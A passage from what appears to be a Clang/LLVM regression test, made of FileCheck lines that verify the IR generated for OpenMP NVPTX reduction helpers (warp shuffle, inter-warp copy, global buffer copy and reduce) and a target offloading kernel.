// CHECK2-NEXT: [[TMP30:%.*]] = bitcast i8* [[TMP29]] to i16* // CHECK2-NEXT: [[TMP31:%.*]] = load volatile i16, i16 addrspace(3)* [[TMP27]], align 2 // CHECK2-NEXT: store i16 [[TMP31]], i16* [[TMP30]], align 2 // CHECK2-NEXT: br label [[IFCONT12:%.*]] // CHECK2: else11: // CHECK2-NEXT: br label [[IFCONT12]] // CHECK2: ifcont12: // CHECK2-NEXT: ret void // // // CHECK2-LABEL: define {{[^@]+}}@_omp_reduction_shuffle_and_reduce_func15 // CHECK2-SAME: (i8* [[TMP0:%.*]], i16 signext [[TMP1:%.*]], i16 signext [[TMP2:%.*]], i16 signext [[TMP3:%.*]]) #[[ATTR2]] { // CHECK2-NEXT: entry: // CHECK2-NEXT: [[DOTADDR:%.*]] = alloca i8*, align 4 // CHECK2-NEXT: [[DOTADDR1:%.*]] = alloca i16, align 2 // CHECK2-NEXT: [[DOTADDR2:%.*]] = alloca i16, align 2 // CHECK2-NEXT: [[DOTADDR3:%.*]] = alloca i16, align 2 // CHECK2-NEXT: [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST:%.*]] = alloca [2 x i8*], align 4 // CHECK2-NEXT: [[DOTOMP_REDUCTION_ELEMENT:%.*]] = alloca i32, align 4 // CHECK2-NEXT: [[DOTOMP_REDUCTION_ELEMENT4:%.*]] = alloca i16, align 2 // CHECK2-NEXT: store i8* [[TMP0]], i8** [[DOTADDR]], align 4 // CHECK2-NEXT: store i16 [[TMP1]], i16* [[DOTADDR1]], align 2 // CHECK2-NEXT: store i16 [[TMP2]], i16* [[DOTADDR2]], align 2 // CHECK2-NEXT: store i16 [[TMP3]], i16* [[DOTADDR3]], align 2 // CHECK2-NEXT: [[TMP4:%.*]] = load i8*, i8** [[DOTADDR]], align 4 // CHECK2-NEXT: [[TMP5:%.*]] = bitcast i8* [[TMP4]] to [2 x i8*]* // CHECK2-NEXT: [[TMP6:%.*]] = load i16, i16* [[DOTADDR1]], align 2 // CHECK2-NEXT: [[TMP7:%.*]] = load i16, i16* [[DOTADDR2]], align 2 // CHECK2-NEXT: [[TMP8:%.*]] = load i16, i16* [[DOTADDR3]], align 2 // CHECK2-NEXT: [[TMP9:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP5]], i32 0, i32 0 // CHECK2-NEXT: [[TMP10:%.*]] = load i8*, i8** [[TMP9]], align 4 // CHECK2-NEXT: [[TMP11:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST]], i32 0, i32 0 // CHECK2-NEXT: [[TMP12:%.*]] = bitcast i8* [[TMP10]] to i32* // CHECK2-NEXT: [[TMP13:%.*]] = getelementptr i32, i32* [[TMP12]], i32 1 // CHECK2-NEXT: [[TMP14:%.*]] = bitcast i32* [[TMP13]] to i8* // CHECK2-NEXT: [[TMP15:%.*]] = load i32, i32* [[TMP12]], align 4 // CHECK2-NEXT: [[TMP16:%.*]] = call i32 @__kmpc_get_warp_size() // CHECK2-NEXT: [[TMP17:%.*]] = trunc i32 [[TMP16]] to i16 // CHECK2-NEXT: [[TMP18:%.*]] = call i32 @__kmpc_shuffle_int32(i32 [[TMP15]], i16 [[TMP7]], i16 [[TMP17]]) // CHECK2-NEXT: store i32 [[TMP18]], i32* [[DOTOMP_REDUCTION_ELEMENT]], align 4 // CHECK2-NEXT: [[TMP19:%.*]] = getelementptr i32, i32* [[TMP12]], i32 1 // CHECK2-NEXT: [[TMP20:%.*]] = getelementptr i32, i32* [[DOTOMP_REDUCTION_ELEMENT]], i32 1 // CHECK2-NEXT: [[TMP21:%.*]] = bitcast i32* [[DOTOMP_REDUCTION_ELEMENT]] to i8* // CHECK2-NEXT: store i8* [[TMP21]], i8** [[TMP11]], align 4 // CHECK2-NEXT: [[TMP22:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP5]], i32 0, i32 1 // CHECK2-NEXT: [[TMP23:%.*]] = load i8*, i8** [[TMP22]], align 4 // CHECK2-NEXT: [[TMP24:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST]], i32 0, i32 1 // CHECK2-NEXT: [[TMP25:%.*]] = bitcast i8* [[TMP23]] to i16* // CHECK2-NEXT: [[TMP26:%.*]] = getelementptr i16, i16* [[TMP25]], i32 1 // CHECK2-NEXT: [[TMP27:%.*]] = bitcast i16* [[TMP26]] to i8* // CHECK2-NEXT: [[TMP28:%.*]] = load i16, i16* [[TMP25]], align 2 // CHECK2-NEXT: [[TMP29:%.*]] = sext i16 [[TMP28]] to i32 // CHECK2-NEXT: [[TMP30:%.*]] = call i32 @__kmpc_get_warp_size() // CHECK2-NEXT: [[TMP31:%.*]] = trunc i32 [[TMP30]] to i16 // CHECK2-NEXT: [[TMP32:%.*]] = call i32 @__kmpc_shuffle_int32(i32 [[TMP29]], i16 [[TMP7]], i16 [[TMP31]]) // CHECK2-NEXT: [[TMP33:%.*]] = trunc i32 [[TMP32]] to i16 // CHECK2-NEXT: store i16 [[TMP33]], i16* [[DOTOMP_REDUCTION_ELEMENT4]], align 2 // CHECK2-NEXT: [[TMP34:%.*]] = getelementptr i16, i16* [[TMP25]], i32 1 // CHECK2-NEXT: [[TMP35:%.*]] = getelementptr i16, i16* [[DOTOMP_REDUCTION_ELEMENT4]], i32 1 // CHECK2-NEXT: [[TMP36:%.*]] = bitcast i16* [[DOTOMP_REDUCTION_ELEMENT4]] to i8* // CHECK2-NEXT: store i8* [[TMP36]], i8** [[TMP24]], align 4 // CHECK2-NEXT: [[TMP37:%.*]] = icmp eq i16 [[TMP8]], 0 // CHECK2-NEXT: [[TMP38:%.*]] = icmp eq i16 [[TMP8]], 1 // CHECK2-NEXT: [[TMP39:%.*]] = icmp ult i16 [[TMP6]], [[TMP7]] // CHECK2-NEXT: [[TMP40:%.*]] = and i1 [[TMP38]], [[TMP39]] // CHECK2-NEXT: [[TMP41:%.*]] = icmp eq i16 [[TMP8]], 2 // CHECK2-NEXT: [[TMP42:%.*]] = and i16 [[TMP6]], 1 // CHECK2-NEXT: [[TMP43:%.*]] = icmp eq i16 [[TMP42]], 0 // CHECK2-NEXT: [[TMP44:%.*]] = and i1 [[TMP41]], [[TMP43]] // CHECK2-NEXT: [[TMP45:%.*]] = icmp sgt i16 [[TMP7]], 0 // CHECK2-NEXT: [[TMP46:%.*]] = and i1 [[TMP44]], [[TMP45]] // CHECK2-NEXT: [[TMP47:%.*]] = or i1 [[TMP37]], [[TMP40]] // CHECK2-NEXT: [[TMP48:%.*]] = or i1 [[TMP47]], [[TMP46]] // CHECK2-NEXT: br i1 [[TMP48]], label [[THEN:%.*]], label [[ELSE:%.*]] // CHECK2: then: // CHECK2-NEXT: [[TMP49:%.*]] = bitcast [2 x i8*]* [[TMP5]] to i8* // CHECK2-NEXT: [[TMP50:%.*]] = bitcast [2 x i8*]* [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST]] to i8* // CHECK2-NEXT: call void @"_omp$reduction$reduction_func14"(i8* [[TMP49]], i8* [[TMP50]]) #[[ATTR3]] // CHECK2-NEXT: br label [[IFCONT:%.*]] // CHECK2: else: // CHECK2-NEXT: br label [[IFCONT]] // CHECK2: ifcont: // CHECK2-NEXT: [[TMP51:%.*]] = icmp eq i16 [[TMP8]], 1 // CHECK2-NEXT: [[TMP52:%.*]] = icmp uge i16 [[TMP6]], [[TMP7]] // CHECK2-NEXT: [[TMP53:%.*]] = and i1 [[TMP51]], [[TMP52]] // CHECK2-NEXT: br i1 [[TMP53]], label [[THEN5:%.*]], label [[ELSE6:%.*]] // CHECK2: then5: // CHECK2-NEXT: [[TMP54:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST]], i32 0, i32 0 // CHECK2-NEXT: [[TMP55:%.*]] = load i8*, i8** [[TMP54]], align 4 // CHECK2-NEXT: [[TMP56:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP5]], i32 0, i32 0 // CHECK2-NEXT: [[TMP57:%.*]] = load i8*, i8** [[TMP56]], align 4 // CHECK2-NEXT: [[TMP58:%.*]] = bitcast i8* [[TMP55]] to i32* // CHECK2-NEXT: [[TMP59:%.*]] = bitcast i8* [[TMP57]] to i32* // CHECK2-NEXT: [[TMP60:%.*]] = load i32, i32* [[TMP58]], align 4 // CHECK2-NEXT: store i32 [[TMP60]], i32* [[TMP59]], align 4 // CHECK2-NEXT: [[TMP61:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST]], i32 0, i32 1 // CHECK2-NEXT: [[TMP62:%.*]] = load i8*, i8** [[TMP61]], align 4 // CHECK2-NEXT: [[TMP63:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP5]], i32 0, i32 1 // CHECK2-NEXT: [[TMP64:%.*]] = load i8*, i8** [[TMP63]], align 4 // CHECK2-NEXT: [[TMP65:%.*]] = bitcast i8* [[TMP62]] to i16* // CHECK2-NEXT: [[TMP66:%.*]] = bitcast i8* [[TMP64]] to i16* // CHECK2-NEXT: [[TMP67:%.*]] = load i16, i16* [[TMP65]], align 2 // CHECK2-NEXT: store i16 [[TMP67]], i16* [[TMP66]], align 2 // CHECK2-NEXT: br label [[IFCONT7:%.*]] // CHECK2: else6: // CHECK2-NEXT: br label [[IFCONT7]] // CHECK2: ifcont7: // CHECK2-NEXT: ret void // // // CHECK2-LABEL: define {{[^@]+}}@_omp_reduction_inter_warp_copy_func16 // CHECK2-SAME: (i8* [[TMP0:%.*]], i32 [[TMP1:%.*]]) #[[ATTR2]] { // CHECK2-NEXT: entry: // CHECK2-NEXT: [[DOTADDR:%.*]] = alloca i8*, align 4 // CHECK2-NEXT: [[DOTADDR1:%.*]] = alloca i32, align 4 // CHECK2-NEXT: [[TMP2:%.*]] = call i32 @__kmpc_global_thread_num(%struct.ident_t* @[[GLOB3]]) // CHECK2-NEXT: store i8* [[TMP0]], i8** [[DOTADDR]], align 4 // CHECK2-NEXT: store i32 [[TMP1]], i32* [[DOTADDR1]], align 4 // CHECK2-NEXT: [[TMP3:%.*]] = call i32 @__kmpc_get_hardware_thread_id_in_block() // CHECK2-NEXT: [[TMP4:%.*]] = call i32 @__kmpc_get_hardware_thread_id_in_block() // CHECK2-NEXT: [[NVPTX_LANE_ID:%.*]] = and i32 [[TMP4]], 31 // CHECK2-NEXT: [[TMP5:%.*]] = call i32 @__kmpc_get_hardware_thread_id_in_block() // CHECK2-NEXT: [[NVPTX_WARP_ID:%.*]] = ashr i32 [[TMP5]], 5 // CHECK2-NEXT: [[TMP6:%.*]] = load i8*, i8** [[DOTADDR]], align 4 // CHECK2-NEXT: [[TMP7:%.*]] = bitcast i8* [[TMP6]] to [2 x i8*]* // CHECK2-NEXT: call void @__kmpc_barrier(%struct.ident_t* @[[GLOB4]], i32 [[TMP2]]) // CHECK2-NEXT: [[WARP_MASTER:%.*]] = icmp eq i32 [[NVPTX_LANE_ID]], 0 // CHECK2-NEXT: br i1 [[WARP_MASTER]], label [[THEN:%.*]], label [[ELSE:%.*]] // CHECK2: then: // CHECK2-NEXT: [[TMP8:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP7]], i32 0, i32 0 // CHECK2-NEXT: [[TMP9:%.*]] = load i8*, i8** [[TMP8]], align 4 // CHECK2-NEXT: [[TMP10:%.*]] = bitcast i8* [[TMP9]] to i32* // CHECK2-NEXT: [[TMP11:%.*]] = getelementptr inbounds [32 x i32], [32 x i32] addrspace(3)* @__openmp_nvptx_data_transfer_temporary_storage, i64 0, i32 [[NVPTX_WARP_ID]] // CHECK2-NEXT: [[TMP12:%.*]] = load i32, i32* [[TMP10]], align 4 // CHECK2-NEXT: store volatile i32 [[TMP12]], i32 addrspace(3)* [[TMP11]], align 4 // CHECK2-NEXT: br label [[IFCONT:%.*]] // CHECK2: else: // CHECK2-NEXT: br label [[IFCONT]] // CHECK2: ifcont: // CHECK2-NEXT: call void @__kmpc_barrier(%struct.ident_t* @[[GLOB4]], i32 [[TMP2]]) // CHECK2-NEXT: [[TMP13:%.*]] = load i32, i32* [[DOTADDR1]], align 4 // CHECK2-NEXT: [[IS_ACTIVE_THREAD:%.*]] = icmp ult i32 [[TMP3]], [[TMP13]] // CHECK2-NEXT: br i1 [[IS_ACTIVE_THREAD]], label [[THEN2:%.*]], label [[ELSE3:%.*]] // CHECK2: then2: // CHECK2-NEXT: [[TMP14:%.*]] = getelementptr inbounds [32 x i32], [32 x i32] addrspace(3)* @__openmp_nvptx_data_transfer_temporary_storage, i64 0, i32 [[TMP3]] // CHECK2-NEXT: [[TMP15:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP7]], i32 0, i32 0 // CHECK2-NEXT: [[TMP16:%.*]] = load i8*, i8** [[TMP15]], align 4 // CHECK2-NEXT: [[TMP17:%.*]] = bitcast i8* [[TMP16]] to i32* // CHECK2-NEXT: [[TMP18:%.*]] = load volatile i32, i32 addrspace(3)* [[TMP14]], align 4 // CHECK2-NEXT: store i32 [[TMP18]], i32* [[TMP17]], align 4 // CHECK2-NEXT: br label [[IFCONT4:%.*]] // CHECK2: else3: // CHECK2-NEXT: br label [[IFCONT4]] // CHECK2: ifcont4: // CHECK2-NEXT: call void @__kmpc_barrier(%struct.ident_t* @[[GLOB4]], i32 [[TMP2]]) // CHECK2-NEXT: [[WARP_MASTER5:%.*]] = icmp eq i32 [[NVPTX_LANE_ID]], 0 // CHECK2-NEXT: br i1 [[WARP_MASTER5]], label [[THEN6:%.*]], label [[ELSE7:%.*]] // CHECK2: then6: // CHECK2-NEXT: [[TMP19:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP7]], i32 0, i32 1 // CHECK2-NEXT: [[TMP20:%.*]] = load i8*, i8** [[TMP19]], align 4 // CHECK2-NEXT: [[TMP21:%.*]] = bitcast i8* [[TMP20]] to i16* // CHECK2-NEXT: [[TMP22:%.*]] = getelementptr inbounds [32 x i32], [32 x i32] addrspace(3)* @__openmp_nvptx_data_transfer_temporary_storage, i64 0, i32 [[NVPTX_WARP_ID]] // CHECK2-NEXT: [[TMP23:%.*]] = bitcast i32 addrspace(3)* [[TMP22]] to i16 addrspace(3)* // CHECK2-NEXT: [[TMP24:%.*]] = load i16, i16* [[TMP21]], align 2 // CHECK2-NEXT: store volatile i16 [[TMP24]], i16 addrspace(3)* [[TMP23]], align 2 // CHECK2-NEXT: br label [[IFCONT8:%.*]] // CHECK2: else7: // CHECK2-NEXT: br label [[IFCONT8]] // CHECK2: ifcont8: // CHECK2-NEXT: call void @__kmpc_barrier(%struct.ident_t* @[[GLOB4]], i32 [[TMP2]]) // CHECK2-NEXT: [[TMP25:%.*]] = load i32, i32* [[DOTADDR1]], align 4 // CHECK2-NEXT: [[IS_ACTIVE_THREAD9:%.*]] = icmp ult i32 [[TMP3]], [[TMP25]] // CHECK2-NEXT: br i1 [[IS_ACTIVE_THREAD9]], label [[THEN10:%.*]], label [[ELSE11:%.*]] // CHECK2: then10: // CHECK2-NEXT: [[TMP26:%.*]] = getelementptr inbounds [32 x i32], [32 x i32] addrspace(3)* @__openmp_nvptx_data_transfer_temporary_storage, i64 0, i32 [[TMP3]] // CHECK2-NEXT: [[TMP27:%.*]] = bitcast i32 addrspace(3)* [[TMP26]] to i16 addrspace(3)* // CHECK2-NEXT: [[TMP28:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP7]], i32 0, i32 1 // CHECK2-NEXT: [[TMP29:%.*]] = load i8*, i8** [[TMP28]], align 4 // CHECK2-NEXT: [[TMP30:%.*]] = bitcast i8* [[TMP29]] to i16* // CHECK2-NEXT: [[TMP31:%.*]] = load volatile i16, i16 addrspace(3)* [[TMP27]], align 2 // CHECK2-NEXT: store i16 [[TMP31]], i16* [[TMP30]], align 2 // CHECK2-NEXT: br label [[IFCONT12:%.*]] // CHECK2: else11: // CHECK2-NEXT: br label [[IFCONT12]] // CHECK2: ifcont12: // CHECK2-NEXT: ret void // // // CHECK2-LABEL: define {{[^@]+}}@_omp_reduction_list_to_global_copy_func17 // CHECK2-SAME: (i8* [[TMP0:%.*]], i32 [[TMP1:%.*]], i8* [[TMP2:%.*]]) #[[ATTR2]] { // CHECK2-NEXT: entry: // CHECK2-NEXT: [[DOTADDR:%.*]] = alloca i8*, align 4 // CHECK2-NEXT: [[DOTADDR1:%.*]] = alloca i32, align 4 // CHECK2-NEXT: [[DOTADDR2:%.*]] = alloca i8*, align 4 // CHECK2-NEXT: store i8* [[TMP0]], i8** [[DOTADDR]], align 4 // CHECK2-NEXT: store i32 [[TMP1]], i32* [[DOTADDR1]], align 4 // CHECK2-NEXT: store i8* [[TMP2]], i8** [[DOTADDR2]], align 4 // CHECK2-NEXT: [[TMP3:%.*]] = load i8*, i8** [[DOTADDR2]], align 4 // CHECK2-NEXT: [[TMP4:%.*]] = bitcast i8* [[TMP3]] to [2 x i8*]* // CHECK2-NEXT: [[TMP5:%.*]] = load i8*, i8** [[DOTADDR]], align 4 // CHECK2-NEXT: [[TMP6:%.*]] = bitcast i8* [[TMP5]] to %struct._globalized_locals_ty.1* // CHECK2-NEXT: [[TMP7:%.*]] = load i32, i32* [[DOTADDR1]], align 4 // CHECK2-NEXT: [[TMP8:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP4]], i32 0, i32 0 // CHECK2-NEXT: [[TMP9:%.*]] = load i8*, i8** [[TMP8]], align 4 // CHECK2-NEXT: [[TMP10:%.*]] = bitcast i8* [[TMP9]] to i32* // CHECK2-NEXT: [[A:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY_1:%.*]], %struct._globalized_locals_ty.1* [[TMP6]], i32 0, i32 0 // CHECK2-NEXT: [[TMP11:%.*]] = getelementptr inbounds [1024 x i32], [1024 x i32]* [[A]], i32 0, i32 [[TMP7]] // CHECK2-NEXT: [[TMP12:%.*]] = load i32, i32* [[TMP10]], align 4 // CHECK2-NEXT: store i32 [[TMP12]], i32* [[TMP11]], align 128 // CHECK2-NEXT: [[TMP13:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP4]], i32 0, i32 1 // CHECK2-NEXT: [[TMP14:%.*]] = load i8*, i8** [[TMP13]], align 4 // CHECK2-NEXT: [[TMP15:%.*]] = bitcast i8* [[TMP14]] to i16* // CHECK2-NEXT: [[B:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY_1]], %struct._globalized_locals_ty.1* [[TMP6]], i32 0, i32 1 // CHECK2-NEXT: [[TMP16:%.*]] = getelementptr inbounds [1024 x i16], [1024 x i16]* [[B]], i32 0, i32 [[TMP7]] // CHECK2-NEXT: [[TMP17:%.*]] = load i16, i16* [[TMP15]], align 2 // CHECK2-NEXT: store i16 [[TMP17]], i16* [[TMP16]], align 128 // CHECK2-NEXT: ret void // // // CHECK2-LABEL: define {{[^@]+}}@_omp_reduction_list_to_global_reduce_func18 // CHECK2-SAME: (i8* [[TMP0:%.*]], i32 [[TMP1:%.*]], i8* [[TMP2:%.*]]) #[[ATTR2]] { // CHECK2-NEXT: entry: // CHECK2-NEXT: [[DOTADDR:%.*]] = alloca i8*, align 4 // CHECK2-NEXT: [[DOTADDR1:%.*]] = alloca i32, align 4 // CHECK2-NEXT: [[DOTADDR2:%.*]] = alloca i8*, align 4 // CHECK2-NEXT: [[DOTOMP_REDUCTION_RED_LIST:%.*]] = alloca [2 x i8*], align 4 // CHECK2-NEXT: store i8* [[TMP0]], i8** [[DOTADDR]], align 4 // CHECK2-NEXT: store i32 [[TMP1]], i32* [[DOTADDR1]], align 4 // CHECK2-NEXT: store i8* [[TMP2]], i8** [[DOTADDR2]], align 4 // CHECK2-NEXT: [[TMP3:%.*]] = load i8*, i8** [[DOTADDR]], align 4 // CHECK2-NEXT: [[TMP4:%.*]] = bitcast i8* [[TMP3]] to %struct._globalized_locals_ty.1* // CHECK2-NEXT: [[TMP5:%.*]] = load i32, i32* [[DOTADDR1]], align 4 // CHECK2-NEXT: [[TMP6:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]], i32 0, i32 0 // CHECK2-NEXT: [[A:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY_1:%.*]], %struct._globalized_locals_ty.1* [[TMP4]], i32 0, i32 0 // CHECK2-NEXT: [[TMP7:%.*]] = getelementptr inbounds [1024 x i32], [1024 x i32]* [[A]], i32 0, i32 [[TMP5]] // CHECK2-NEXT: [[TMP8:%.*]] = bitcast i32* [[TMP7]] to i8* // CHECK2-NEXT: store i8* [[TMP8]], i8** [[TMP6]], align 4 // CHECK2-NEXT: [[TMP9:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]], i32 0, i32 1 // CHECK2-NEXT: [[B:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY_1]], %struct._globalized_locals_ty.1* [[TMP4]], i32 0, i32 1 // CHECK2-NEXT: [[TMP10:%.*]] = getelementptr inbounds [1024 x i16], [1024 x i16]* [[B]], i32 0, i32 [[TMP5]] // CHECK2-NEXT: [[TMP11:%.*]] = bitcast i16* [[TMP10]] to i8* // CHECK2-NEXT: store i8* [[TMP11]], i8** [[TMP9]], align 4 // CHECK2-NEXT: [[TMP12:%.*]] = bitcast [2 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]] to i8* // CHECK2-NEXT: [[TMP13:%.*]] = load i8*, i8** [[DOTADDR2]], align 4 // CHECK2-NEXT: call void @"_omp$reduction$reduction_func14"(i8* [[TMP12]], i8* [[TMP13]]) #[[ATTR3]] // CHECK2-NEXT: ret void // // // CHECK2-LABEL: define {{[^@]+}}@_omp_reduction_global_to_list_copy_func19 // CHECK2-SAME: (i8* [[TMP0:%.*]], i32 [[TMP1:%.*]], i8* [[TMP2:%.*]]) #[[ATTR2]] { // CHECK2-NEXT: entry: // CHECK2-NEXT: [[DOTADDR:%.*]] = alloca i8*, align 4 // CHECK2-NEXT: [[DOTADDR1:%.*]] = alloca i32, align 4 // CHECK2-NEXT: [[DOTADDR2:%.*]] = alloca i8*, align 4 // CHECK2-NEXT: store i8* [[TMP0]], i8** [[DOTADDR]], align 4 // CHECK2-NEXT: store i32 [[TMP1]], i32* [[DOTADDR1]], align 4 // CHECK2-NEXT: store i8* [[TMP2]], i8** [[DOTADDR2]], align 4 // CHECK2-NEXT: [[TMP3:%.*]] = load i8*, i8** [[DOTADDR2]], align 4 // CHECK2-NEXT: [[TMP4:%.*]] = bitcast i8* [[TMP3]] to [2 x i8*]* // CHECK2-NEXT: [[TMP5:%.*]] = load i8*, i8** [[DOTADDR]], align 4 // CHECK2-NEXT: [[TMP6:%.*]] = bitcast i8* [[TMP5]] to %struct._globalized_locals_ty.1* // CHECK2-NEXT: [[TMP7:%.*]] = load i32, i32* [[DOTADDR1]], align 4 // CHECK2-NEXT: [[TMP8:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP4]], i32 0, i32 0 // CHECK2-NEXT: [[TMP9:%.*]] = load i8*, i8** [[TMP8]], align 4 // CHECK2-NEXT: [[TMP10:%.*]] = bitcast i8* [[TMP9]] to i32* // CHECK2-NEXT: [[A:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY_1:%.*]], %struct._globalized_locals_ty.1* [[TMP6]], i32 0, i32 0 // CHECK2-NEXT: [[TMP11:%.*]] = getelementptr inbounds [1024 x i32], [1024 x i32]* [[A]], i32 0, i32 [[TMP7]] // CHECK2-NEXT: [[TMP12:%.*]] = load i32, i32* [[TMP11]], align 128 // CHECK2-NEXT: store i32 [[TMP12]], i32* [[TMP10]], align 4 // CHECK2-NEXT: [[TMP13:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP4]], i32 0, i32 1 // CHECK2-NEXT: [[TMP14:%.*]] = load i8*, i8** [[TMP13]], align 4 // CHECK2-NEXT: [[TMP15:%.*]] = bitcast i8* [[TMP14]] to i16* // CHECK2-NEXT: [[B:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY_1]], %struct._globalized_locals_ty.1* [[TMP6]], i32 0, i32 1 // CHECK2-NEXT: [[TMP16:%.*]] = getelementptr inbounds [1024 x i16], [1024 x i16]* [[B]], i32 0, i32 [[TMP7]] // CHECK2-NEXT: [[TMP17:%.*]] = load i16, i16* [[TMP16]], align 128 // CHECK2-NEXT: store i16 [[TMP17]], i16* [[TMP15]], align 2 // CHECK2-NEXT: ret void // // // CHECK2-LABEL: define {{[^@]+}}@_omp_reduction_global_to_list_reduce_func20 // CHECK2-SAME: (i8* [[TMP0:%.*]], i32 [[TMP1:%.*]], i8* [[TMP2:%.*]]) #[[ATTR2]] { // CHECK2-NEXT: entry: // CHECK2-NEXT: [[DOTADDR:%.*]] = alloca i8*, align 4 // CHECK2-NEXT: [[DOTADDR1:%.*]] = alloca i32, align 4 // CHECK2-NEXT: [[DOTADDR2:%.*]] = alloca i8*, align 4 // CHECK2-NEXT: [[DOTOMP_REDUCTION_RED_LIST:%.*]] = alloca [2 x i8*], align 4 // CHECK2-NEXT: store i8* [[TMP0]], i8** [[DOTADDR]], align 4 // CHECK2-NEXT: store i32 [[TMP1]], i32* [[DOTADDR1]], align 4 // CHECK2-NEXT: store i8* [[TMP2]], i8** [[DOTADDR2]], align 4 // CHECK2-NEXT: [[TMP3:%.*]] = load i8*, i8** [[DOTADDR]], align 4 // CHECK2-NEXT: [[TMP4:%.*]] = bitcast i8* [[TMP3]] to %struct._globalized_locals_ty.1* // CHECK2-NEXT: [[TMP5:%.*]] = load i32, i32* [[DOTADDR1]], align 4 // CHECK2-NEXT: [[TMP6:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]], i32 0, i32 0 // CHECK2-NEXT: [[A:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY_1:%.*]], %struct._globalized_locals_ty.1* [[TMP4]], i32 0, i32 0 // CHECK2-NEXT: [[TMP7:%.*]] = getelementptr inbounds [1024 x i32], [1024 x i32]* [[A]], i32 0, i32 [[TMP5]] // CHECK2-NEXT: [[TMP8:%.*]] = bitcast i32* [[TMP7]] to i8* // CHECK2-NEXT: store i8* [[TMP8]], i8** [[TMP6]], align 4 // CHECK2-NEXT: [[TMP9:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]], i32 0, i32 1 // CHECK2-NEXT: [[B:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY_1]], %struct._globalized_locals_ty.1* [[TMP4]], i32 0, i32 1 // CHECK2-NEXT: [[TMP10:%.*]] = getelementptr inbounds [1024 x i16], [1024 x i16]* [[B]], i32 0, i32 [[TMP5]] // CHECK2-NEXT: [[TMP11:%.*]] = bitcast i16* [[TMP10]] to i8* // CHECK2-NEXT: store i8* [[TMP11]], i8** [[TMP9]], align 4 // CHECK2-NEXT: [[TMP12:%.*]] = bitcast [2 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]] to i8* // CHECK2-NEXT: [[TMP13:%.*]] = load i8*, i8** [[DOTADDR2]], align 4 // CHECK2-NEXT: call void @"_omp$reduction$reduction_func14"(i8* [[TMP13]], i8* [[TMP12]]) #[[ATTR3]] // CHECK2-NEXT: ret void // // // CHECK3-LABEL: define {{[^@]+}}@{{__omp_offloading_[0-9a-z]+_[0-9a-z]+}}__Z9ftemplateIcET_i_l20 // CHECK3-SAME: (double* nonnull align 8 dereferenceable(8) [[E:%.*]]) #[[ATTR0:[0-9]+]] { // CHECK3-NEXT: entry: // CHECK3-NEXT: [[E_ADDR:%.*]] = alloca double*, align 4 // CHECK3-NEXT: [[E1:%.*]] = alloca double, align 8 // CHECK3-NEXT: [[DOTZERO_ADDR:%.*]] = alloca i32, align 4 // CHECK3-NEXT: [[DOTTHREADID_TEMP_:%.*]] = alloca i32, align 4 // CHECK3-NEXT: store double* [[E]], double** [[E_ADDR]], align 4 // CHECK3-NEXT: [[TMP0:%.*]] = load double*, double** [[E_ADDR]], align 4 // CHECK3-NEXT: [[TMP1:%.*]] = call i32 @__kmpc_target_init(%struct.ident_t* @[[GLOB1:[0-9]+]], i8 1, i1 true, i1 true) // CHECK3-NEXT: [[EXEC_USER_CODE:%.*]] = icmp eq i32 [[TMP1]], -1 // CHECK3-NEXT: br i1 [[EXEC_USER_CODE]], label [[USER_CODE_ENTRY:%.*]], label [[WORKER_EXIT:%.*]] // CHECK3: user_code.entry: // CHECK3-NEXT: [[TMP2:%.*]] = call i32 @__kmpc_global_thread_num(%struct.ident_t* @[[GLOB1]]) // CHECK3-NEXT: [[TMP3:%.*]] = load double, double* [[TMP0]], align 8 // CHECK3-NEXT: store double [[TMP3]], double* [[E1]], align 8 // CHECK3-NEXT: store i32 0, i32* [[DOTZERO_ADDR]], align 4 // CHECK3-NEXT: store i32 [[TMP2]], i32* [[DOTTHREADID_TEMP_]], align 4 // CHECK3-NEXT: call void @__omp_outlined__(i32* [[DOTTHREADID_TEMP_]], i32* [[DOTZERO_ADDR]], double* [[E1]]) #[[ATTR3:[0-9]+]] // CHECK3-NEXT: call void @__kmpc_target_deinit(%struct.ident_t* @[[GLOB1]], i8 1, i1 true) // CHECK3-NEXT: ret void // CHECK3: worker.exit: // CHECK3-NEXT: ret void // // // CHECK3-LABEL: define 